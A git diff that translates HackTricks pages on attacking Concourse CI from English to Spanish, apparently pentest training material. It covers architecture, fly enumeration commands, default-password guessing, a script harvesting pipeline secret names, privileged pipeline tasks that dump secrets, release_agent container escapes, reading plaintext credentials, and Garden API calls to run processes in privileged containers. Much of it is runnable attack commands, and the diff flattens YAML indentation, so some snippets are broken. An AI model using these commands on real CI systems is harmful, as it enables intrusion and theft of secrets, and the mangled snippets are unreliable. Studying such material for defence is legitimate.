+- [ ] Se recomienda **agregar una Expiración de Asiento de Usuario** para eliminar usuarios que realmente no utilizan este servicio
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index bcf20facf..260e3a5b0 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -2,36 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-Concourse allows you to **build pipelines** to automatically run tests, actions and build images whenever you need it (time based, when something happens...)
+Concourse te permite **construir pipelines** para ejecutar automáticamente pruebas, acciones y construir imágenes siempre que lo necesites (basado en tiempo, cuando sucede algo...)
-## Concourse Architecture
+## Arquitectura de Concourse
-Learn how the concourse environment is structured in:
+Aprende cómo está estructurado el entorno de concourse en:
{{#ref}}
concourse-architecture.md
{{#endref}}
-## Concourse Lab
+## Laboratorio de Concourse
-Learn how you can run a concourse environment locally to do your own tests in:
+Aprende cómo puedes ejecutar un entorno de concourse localmente para hacer tus propias pruebas en:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Enumerate & Attack Concourse
+## Enumerar y Atacar Concourse
-Learn how you can enumerate the concourse environment and abuse it in:
+Aprende cómo puedes enumerar el entorno de concourse y abusar de él en:
{{#ref}}
concourse-enumeration-and-attacks.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index d70167906..e02b37817 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -4,39 +4,35 @@
{{#include ../../banners/hacktricks-training.md}}
-[**Relevant data from Concourse documentation:**](https://concourse-ci.org/internals.html)
+[**Datos relevantes de la documentación de Concourse:**](https://concourse-ci.org/internals.html)
### Architecture
.png>)
-#### ATC: web UI & build scheduler
+#### ATC: interfaz web y programador de compilaciones
-The ATC is the heart of Concourse. It runs the **web UI and API** and is responsible for all pipeline **scheduling**. It **connects to PostgreSQL**, which it uses to store pipeline data (including build logs).
+El ATC es el corazón de Concourse. Ejecuta la **interfaz web y API** y es responsable de toda la **programación** de pipelines. Se **conecta a PostgreSQL**, que utiliza para almacenar datos de pipelines (incluidos los registros de compilación).
-The [checker](https://concourse-ci.org/checker.html)'s responsibility is to continuously checks for new versions of resources. The [scheduler](https://concourse-ci.org/scheduler.html) is responsible for scheduling builds for a job and the [build tracker](https://concourse-ci.org/build-tracker.html) is responsible for running any scheduled builds. The [garbage collector](https://concourse-ci.org/garbage-collector.html) is the cleanup mechanism for removing any unused or outdated objects, such as containers and volumes.
+La responsabilidad del [checker](https://concourse-ci.org/checker.html) es verificar continuamente si hay nuevas versiones de recursos. El [scheduler](https://concourse-ci.org/scheduler.html) es responsable de programar compilaciones para un trabajo y el [build tracker](https://concourse-ci.org/build-tracker.html) es responsable de ejecutar cualquier compilación programada. El [garbage collector](https://concourse-ci.org/garbage-collector.html) es el mecanismo de limpieza para eliminar cualquier objeto no utilizado o desactualizado, como contenedores y volúmenes.
-#### TSA: worker registration & forwarding
+#### TSA: registro de trabajadores y reenvío
-The TSA is a **custom-built SSH server** that is used solely for securely **registering** [**workers**](https://concourse-ci.org/internals.html#architecture-worker) with the [ATC](https://concourse-ci.org/internals.html#component-atc).
+El TSA es un **servidor SSH construido a medida** que se utiliza únicamente para **registrar** de forma segura a los [**trabajadores**](https://concourse-ci.org/internals.html#architecture-worker) con el [ATC](https://concourse-ci.org/internals.html#component-atc).
-The TSA by **default listens on port `2222`**, and is usually colocated with the [ATC](https://concourse-ci.org/internals.html#component-atc) and sitting behind a load balancer.
+El TSA por **defecto escucha en el puerto `2222`**, y generalmente está colocalizado con el [ATC](https://concourse-ci.org/internals.html#component-atc) y detrás de un balanceador de carga.
-The **TSA implements CLI over the SSH connection,** supporting [**these commands**](https://concourse-ci.org/internals.html#component-tsa).
+El **TSA implementa CLI a través de la conexión SSH,** soportando [**estos comandos**](https://concourse-ci.org/internals.html#component-tsa).
#### Workers
-In order to execute tasks concourse must have some workers. These workers **register themselves** via the [TSA](https://concourse-ci.org/internals.html#component-tsa) and run the services [**Garden**](https://github.com/cloudfoundry-incubator/garden) and [**Baggageclaim**](https://github.com/concourse/baggageclaim).
+Para ejecutar tareas, Concourse debe tener algunos trabajadores. Estos trabajadores **se registran** a través del [TSA](https://concourse-ci.org/internals.html#component-tsa) y ejecutan los servicios [**Garden**](https://github.com/cloudfoundry-incubator/garden) y [**Baggageclaim**](https://github.com/concourse/baggageclaim).
-- **Garden**: This is the **Container Manage AP**I, usually run in **port 7777** via **HTTP**.
-- **Baggageclaim**: This is the **Volume Management API**, usually run in **port 7788** via **HTTP**.
+- **Garden**: Esta es la **API de Gestión de Contenedores**, generalmente se ejecuta en **el puerto 7777** a través de **HTTP**.
+- **Baggageclaim**: Esta es la **API de Gestión de Volúmenes**, generalmente se ejecuta en **el puerto 7788** a través de **HTTP**.
## References
- [https://concourse-ci.org/internals.html](https://concourse-ci.org/internals.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 4b778a804..01b8ce978 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -6,213 +6,202 @@
### User Roles & Permissions
-Concourse comes with five roles:
+Concourse viene con cinco roles:
-- _Concourse_ **Admin**: This role is only given to owners of the **main team** (default initial concourse team). Admins can **configure other teams** (e.g.: `fly set-team`, `fly destroy-team`...). The permissions of this role cannot be affected by RBAC.
-- **owner**: Team owners can **modify everything within the team**.
-- **member**: Team members can **read and write** within the **teams assets** but cannot modify the team settings.
-- **pipeline-operator**: Pipeline operators can perform **pipeline operations** such as triggering builds and pinning resources, however they cannot update pipeline configurations.
-- **viewer**: Team viewers have **"read-only" access to a team** and its pipelines.
+- _Concourse_ **Admin**: Este rol solo se otorga a los propietarios del **equipo principal** (equipo inicial predeterminado de concourse). Los administradores pueden **configurar otros equipos** (por ejemplo: `fly set-team`, `fly destroy-team`...). Los permisos de este rol no pueden ser afectados por RBAC.
+- **owner**: Los propietarios del equipo pueden **modificar todo dentro del equipo**.
+- **member**: Los miembros del equipo pueden **leer y escribir** dentro de los **activos del equipo** pero no pueden modificar la configuración del equipo.
+- **pipeline-operator**: Los operadores de pipeline pueden realizar **operaciones de pipeline** como activar compilaciones y fijar recursos, sin embargo, no pueden actualizar las configuraciones de pipeline.
+- **viewer**: Los espectadores del equipo tienen acceso **"solo de lectura" a un equipo** y sus pipelines.
> [!NOTE]
-> Moreover, the **permissions of the roles owner, member, pipeline-operator and viewer can be modified** configuring RBAC (configuring more specifically it's actions). Read more about it in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
+> Además, **los permisos de los roles owner, member, pipeline-operator y viewer pueden ser modificados** configurando RBAC (configurando más específicamente sus acciones). Lee más sobre esto en: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)
-Note that Concourse **groups pipelines inside Teams**. Therefore users belonging to a Team will be able to manage those pipelines and **several Teams** might exist. A user can belong to several Teams and have different permissions inside each of them.
+Ten en cuenta que Concourse **agrupa pipelines dentro de Equipos**. Por lo tanto, los usuarios que pertenecen a un Equipo podrán gestionar esos pipelines y **pueden existir varios Equipos**. Un usuario puede pertenecer a varios Equipos y tener diferentes permisos dentro de cada uno de ellos.
### Vars & Credential Manager
-In the YAML configs you can configure values using the syntax `((_source-name_:_secret-path_._secret-field_))`.\
-[From the docs:](https://concourse-ci.org/vars.html#var-syntax) The **source-name is optional**, and if omitted, the [cluster-wide credential manager](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) will be used, or the value may be provided [statically](https://concourse-ci.org/vars.html#static-vars).\
-The **optional \_secret-field**\_ specifies a field on the fetched secret to read. If omitted, the credential manager may choose to read a 'default field' from the fetched credential if the field exists.\
-Moreover, the _**secret-path**_ and _**secret-field**_ may be surrounded by double quotes `"..."` if they **contain special characters** like `.` and `:`. For instance, `((source:"my.secret"."field:1"))` will set the _secret-path_ to `my.secret` and the _secret-field_ to `field:1`.
+En las configuraciones YAML puedes configurar valores usando la sintaxis `((_source-name_:_secret-path_._secret-field_))`.\
+[De la documentación:](https://concourse-ci.org/vars.html#var-syntax) El **source-name es opcional**, y si se omite, se utilizará el [gestor de credenciales a nivel de clúster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager), o el valor puede ser proporcionado [estáticamente](https://concourse-ci.org/vars.html#static-vars).\
+El **\_secret-field opcional**\_ especifica un campo en el secreto obtenido para leer. Si se omite, el gestor de credenciales puede optar por leer un 'campo predeterminado' del secreto obtenido si el campo existe.\
+Además, el _**secret-path**_ y _**secret-field**_ pueden estar rodeados por comillas dobles `"..."` si **contienen caracteres especiales** como `.` y `:`. Por ejemplo, `((source:"my.secret"."field:1"))` establecerá el _secret-path_ en `my.secret` y el _secret-field_ en `field:1`.
#### Static Vars
-Static vars can be specified in **tasks steps**:
-
+Las vars estáticas pueden ser especificadas en **pasos de tareas**:
```yaml
- task: unit-1.13
- file: booklit/ci/unit.yml
- vars: { tag: 1.13 }
+file: booklit/ci/unit.yml
+vars: { tag: 1.13 }
```
+Or usando los siguientes `fly` **argumentos**:
-Or using the following `fly` **arguments**:
+- `-v` o `--var` `NAME=VALUE` establece la cadena `VALUE` como el valor para la var `NAME`.
+- `-y` o `--yaml-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var `NAME`.
+- `-i` o `--instance-var` `NAME=VALUE` analiza `VALUE` como YAML y lo establece como el valor para la var de instancia `NAME`. Consulta [Agrupación de Pipelines](https://concourse-ci.org/instanced-pipelines.html) para aprender más sobre las vars de instancia.
+- `-l` o `--load-vars-from` `FILE` carga `FILE`, un documento YAML que contiene la asignación de nombres de var a valores, y los establece todos.
-- `-v` or `--var` `NAME=VALUE` sets the string `VALUE` as the value for the var `NAME`.
-- `-y` or `--yaml-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the var `NAME`.
-- `-i` or `--instance-var` `NAME=VALUE` parses `VALUE` as YAML and sets it as the value for the instance var `NAME`. See [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) to learn more about instance vars.
-- `-l` or `--load-vars-from` `FILE` loads `FILE`, a YAML document containing mapping var names to values, and sets them all.
+#### Gestión de Credenciales
-#### Credential Management
+Hay diferentes formas en que se puede **especificar un Gestor de Credenciales** en un pipeline, lee cómo en [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
+Además, Concourse admite diferentes gestores de credenciales:
-There are different ways a **Credential Manager can be specified** in a pipeline, read how in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
-Moreover, Concourse supports different credential managers:
-
-- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
-- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
-- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
-- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
-- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
-- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
-- [Caching credentials](https://concourse-ci.org/creds-caching.html)
-- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
-- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)
+- [El gestor de credenciales Vault](https://concourse-ci.org/vault-credential-manager.html)
+- [El gestor de credenciales CredHub](https://concourse-ci.org/credhub-credential-manager.html)
+- [El gestor de credenciales AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
+- [El gestor de credenciales AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
+- [Gestor de Credenciales de Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
+- [El gestor de credenciales Conjur](https://concourse-ci.org/conjur-credential-manager.html)
+- [Credenciales en caché](https://concourse-ci.org/creds-caching.html)
+- [Redacción de credenciales](https://concourse-ci.org/creds-redacting.html)
+- [Reintentar recuperaciones fallidas](https://concourse-ci.org/creds-retry-logic.html)
> [!CAUTION]
-> Note that if you have some kind of **write access to Concourse** you can create jobs to **exfiltrate those secrets** as Concourse needs to be able to access them.
+> Ten en cuenta que si tienes algún tipo de **acceso de escritura a Concourse** puedes crear trabajos para **exfiltrar esos secretos** ya que Concourse necesita poder acceder a ellos.
-### Concourse Enumeration
+### Enumeración de Concourse
-In order to enumerate a concourse environment you first need to **gather valid credentials** or to find an **authenticated token** probably in a `.flyrc` config file.
+Para enumerar un entorno de concourse primero necesitas **reunir credenciales válidas** o encontrar un **token autenticado** probablemente en un archivo de configuración `.flyrc`.
-#### Login and Current User enum
+#### Inicio de sesión y enumeración de usuario actual
-- To login you need to know the **endpoint**, the **team name** (default is `main`) and a **team the user belongs to**:
- - `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
-- Get configured **targets**:
- - `fly targets`
-- Get if the configured **target connection** is still **valid**:
- - `fly -t status`
-- Get **role** of the user against the indicated target:
- - `fly -t userinfo`
+- Para iniciar sesión necesitas conocer el **endpoint**, el **nombre del equipo** (el predeterminado es `main`) y un **equipo al que pertenece el usuario**:
+- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
+- Obtener **targets** configurados:
+- `fly targets`
+- Verificar si la **conexión de target configurada** sigue siendo **válida**:
+- `fly -t status`
+- Obtener el **rol** del usuario contra el target indicado:
+- `fly -t userinfo`
> [!NOTE]
-> Note that the **API token** is **saved** in `$HOME/.flyrc` by default, you looting a machines you could find there the credentials.
+> Ten en cuenta que el **token de API** se **guarda** en `$HOME/.flyrc` por defecto, al saquear una máquina podrías encontrar allí las credenciales.
-#### Teams & Users
+#### Equipos y Usuarios
-- Get a list of the Teams
- - `fly -t teams`
-- Get roles inside team
- - `fly -t get-team -n `
-- Get a list of users
- - `fly -t active-users`
+- Obtener una lista de los Equipos
+- `fly -t teams`
+- Obtener roles dentro del equipo
+- `fly -t get-team -n `
+- Obtener una lista de usuarios
+- `fly -t active-users`
#### Pipelines
-- **List** pipelines:
- - `fly -t pipelines -a`
-- **Get** pipeline yaml (**sensitive information** might be found in the definition):
- - `fly -t get-pipeline -p `
-- Get all pipeline **config declared vars**
- - `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
-- Get all the **pipelines secret names used** (if you can create/modify a job or hijack a container you could exfiltrate them):
-
+- **Listar** pipelines:
+- `fly -t pipelines -a`
+- **Obtener** yaml de pipeline (**información sensible** podría encontrarse en la definición):
+- `fly -t get-pipeline -p `
+- Obtener todas las **vars declaradas en la configuración del pipeline**
+- `for pipename in $(fly -t pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
+- Obtener todos los **nombres de secretos de pipelines utilizados** (si puedes crear/modificar un trabajo o secuestrar un contenedor podrías exfiltrarlos):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
- echo $pipename;
- fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
- echo "";
+echo $pipename;
+fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
+echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
+#### Contenedores y Trabajadores
-#### Containers & Workers
+- Listar **trabajadores**:
+- `fly -t workers`
+- Listar **contenedores**:
+- `fly -t containers`
+- Listar **construcciones** (para ver qué está en ejecución):
+- `fly -t builds`
-- List **workers**:
- - `fly -t workers`
-- List **containers**:
- - `fly -t containers`
-- List **builds** (to see what is running):
- - `fly -t builds`
+### Ataques de Concourse
-### Concourse Attacks
-
-#### Credentials Brute-Force
+#### Fuerza Bruta de Credenciales
- admin:admin
- test:test
-#### Secrets and params enumeration
+#### Enumeración de secretos y parámetros
-In the previous section we saw how you can **get all the secrets names and vars** used by the pipeline. The **vars might contain sensitive info** and the name of the **secrets will be useful later to try to steal** them.
+En la sección anterior vimos cómo puedes **obtener todos los nombres y vars de los secretos** utilizados por el pipeline. Las **vars pueden contener información sensible** y el nombre de los **secretos será útil más adelante para intentar robar**los.
-#### Session inside running or recently run container
-
-If you have enough privileges (**member role or more**) you will be able to **list pipelines and roles** and just get a **session inside** the `/` **container** using:
+#### Sesión dentro de un contenedor en ejecución o recientemente ejecutado
+Si tienes suficientes privilegios (**rol de miembro o más**) podrás **listar pipelines y roles** y simplemente obtener una **sesión dentro** del contenedor de `/` usando:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
+Con estos permisos, podrías ser capaz de:
-With these permissions you might be able to:
+- **Robar los secretos** dentro del **contenedor**
+- Intentar **escapar** al nodo
+- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo, si es posible)
-- **Steal the secrets** inside the **container**
-- Try to **escape** to the node
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node, if possible)
-
-#### Pipeline Creation/Modification
-
-If you have enough privileges (**member role or more**) you will be able to **create/modify new pipelines.** Check this example:
+#### Creación/Modificación de Pipeline
+Si tienes suficientes privilegios (**rol de miembro o más**) podrás **crear/modificar nuevos pipelines.** Revisa este ejemplo:
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- echo "$SUPER_SECRET"
- sleep 1000
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+echo "$SUPER_SECRET"
+sleep 1000
+params:
+SUPER_SECRET: ((super.secret))
```
+Con la **modificación/creación** de un nuevo pipeline podrás:
-With the **modification/creation** of a new pipeline you will be able to:
+- **Robar** los **secretos** (a través de su impresión o accediendo al contenedor y ejecutando `env`)
+- **Escapar** al **nodo** (dándote suficientes privilegios - `privileged: true`)
+- Enumerar/Abusar del **endpoint de metadatos de la nube** (desde el pod y desde el nodo)
+- **Eliminar** el pipeline creado
-- **Steal** the **secrets** (via echoing them out or getting inside the container and running `env`)
-- **Escape** to the **node** (by giving you enough privileges - `privileged: true`)
-- Enumerate/Abuse **cloud metadata** endpoint (from the pod and from the node)
-- **Delete** created pipeline
-
-#### Execute Custom Task
-
-This is similar to the previous method but instead of modifying/creating a whole new pipeline you can **just execute a custom task** (which will probably be much more **stealthier**):
+#### Ejecutar Tarea Personalizada
+Esto es similar al método anterior, pero en lugar de modificar/crear un nuevo pipeline completo, puedes **simplemente ejecutar una tarea personalizada** (que probablemente será mucho más **sigilosa**):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
- type: registry-image
- source:
- repository: ubuntu
+type: registry-image
+source:
+repository: ubuntu
run:
- path: sh
- args:
- - -cx
- - |
- env
- sleep 1000
+path: sh
+args:
+- -cx
+- |
+env
+sleep 1000
params:
- SUPER_SECRET: ((super.secret))
+SUPER_SECRET: ((super.secret))
```
```bash
fly -t tutorial execute --privileged --config task_config.yml
```
+#### Escapando al nodo desde una tarea privilegiada
-#### Escaping to the node from privileged task
-
-In the previous sections we saw how to **execute a privileged task with concourse**. This won't give the container exactly the same access as the privileged flag in a docker container. For example, you won't see the node filesystem device in /dev, so the escape could be more "complex".
-
-In the following PoC we are going to use the release_agent to escape with some small modifications:
+En las secciones anteriores vimos cómo **ejecutar una tarea privilegiada con concourse**. Esto no le dará al contenedor exactamente el mismo acceso que la bandera privilegiada en un contenedor de docker. Por ejemplo, no verá el dispositivo del sistema de archivos del nodo en /dev, por lo que la escapatoria podría ser más "compleja".
+En la siguiente PoC vamos a usar el release_agent para escapar con algunas pequeñas modificaciones:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
@@ -270,14 +259,12 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
-
> [!WARNING]
-> As you might have noticed this is just a [**regular release_agent escape**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) just modifying the path of the cmd in the node
+> Como habrás notado, esto es solo un [**escape de release_agent regular**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) solo modificando la ruta del cmd en el nodo
-#### Escaping to the node from a Worker container
-
-A regular release_agent escape with a minor modification is enough for this:
+#### Escapando al nodo desde un contenedor Worker
+Un escape de release_agent regular con una modificación menor es suficiente para esto:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
@@ -304,13 +291,11 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Reads the output
cat /output
```
+#### Escapando al nodo desde el contenedor web
-#### Escaping to the node from the Web container
-
-Even if the web container has some defenses disabled it's **not running as a common privileged container** (for example, you **cannot** **mount** and the **capabilities** are very **limited**, so all the easy ways to escape from the container are useless).
-
-However, it stores **local credentials in clear text**:
+Incluso si el contenedor web tiene algunas defensas deshabilitadas, **no se está ejecutando como un contenedor privilegiado común** (por ejemplo, **no puedes** **montar** y las **capacidades** son muy **limitadas**, por lo que todas las formas fáciles de escapar del contenedor son inútiles).
+Sin embargo, almacena **credenciales locales en texto claro**:
```bash
cat /concourse-auth/local-users
test:test
@@ -319,11 +304,9 @@ env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
+Puedes usar esas credenciales para **iniciar sesión en el servidor web** y **crear un contenedor privilegiado y escapar al nodo**.
-You cloud use that credentials to **login against the web server** and **create a privileged container and escape to the node**.
-
-In the environment you can also find information to **access the postgresql** instance that concourse uses (address, **username**, **password** and database among other info):
-
+En el entorno también puedes encontrar información para **acceder a la instancia de postgresql** que utiliza concourse (dirección, **nombre de usuario**, **contraseña** y base de datos, entre otra información):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
@@ -344,39 +327,35 @@ select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
-
-#### Abusing Garden Service - Not a real Attack
+#### Abusando del Servicio Garden - No es un Ataque Real
> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> Estas son solo algunas notas interesantes sobre el servicio, pero dado que solo está escuchando en localhost, estas notas no presentarán ningún impacto que no hayamos explotado antes.
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+Por defecto, cada trabajador de concourse estará ejecutando un servicio [**Garden**](https://github.com/cloudfoundry/garden) en el puerto 7777. Este servicio es utilizado por el maestro web para indicar al trabajador **lo que necesita ejecutar** (descargar la imagen y ejecutar cada tarea). Esto suena bastante bien para un atacante, pero hay algunas buenas protecciones:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- Está **expuesto localmente** (127..0.0.1) y creo que cuando el trabajador se autentica contra la Web con el servicio SSH especial, se crea un túnel para que el servidor web pueda **hablar con cada servicio Garden** dentro de cada trabajador.
+- El servidor web está **monitoreando los contenedores en ejecución cada pocos segundos**, y los contenedores **inesperados** son **eliminados**. Así que si quieres **ejecutar un contenedor personalizado** necesitas **manipular** la **comunicación** entre el servidor web y el servicio garden.
+Los trabajadores de Concourse se ejecutan con altos privilegios de contenedor:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Sin embargo, técnicas como **montar** el dispositivo /dev del nodo o release_agent **no funcionarán** (ya que el dispositivo real con el sistema de archivos del nodo no es accesible, solo uno virtual). No podemos acceder a los procesos del nodo, por lo que escapar del nodo sin exploits de kernel se complica.
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> En la sección anterior vimos cómo escapar de un contenedor privilegiado, así que si podemos **ejecutar** comandos en un **contenedor privilegiado** creado por el **trabajador** **actual**, podríamos **escapar al nodo**.
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+Ten en cuenta que al jugar con concourse noté que cuando se genera un nuevo contenedor para ejecutar algo, los procesos del contenedor son accesibles desde el contenedor del trabajador, por lo que es como si un contenedor creara un nuevo contenedor dentro de él.
+**Entrando en un contenedor privilegiado en ejecución**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**Creando un nuevo contenedor privilegiado**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+Puedes crear muy fácilmente un nuevo contenedor (solo ejecuta un UID aleatorio) y ejecutar algo en él:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
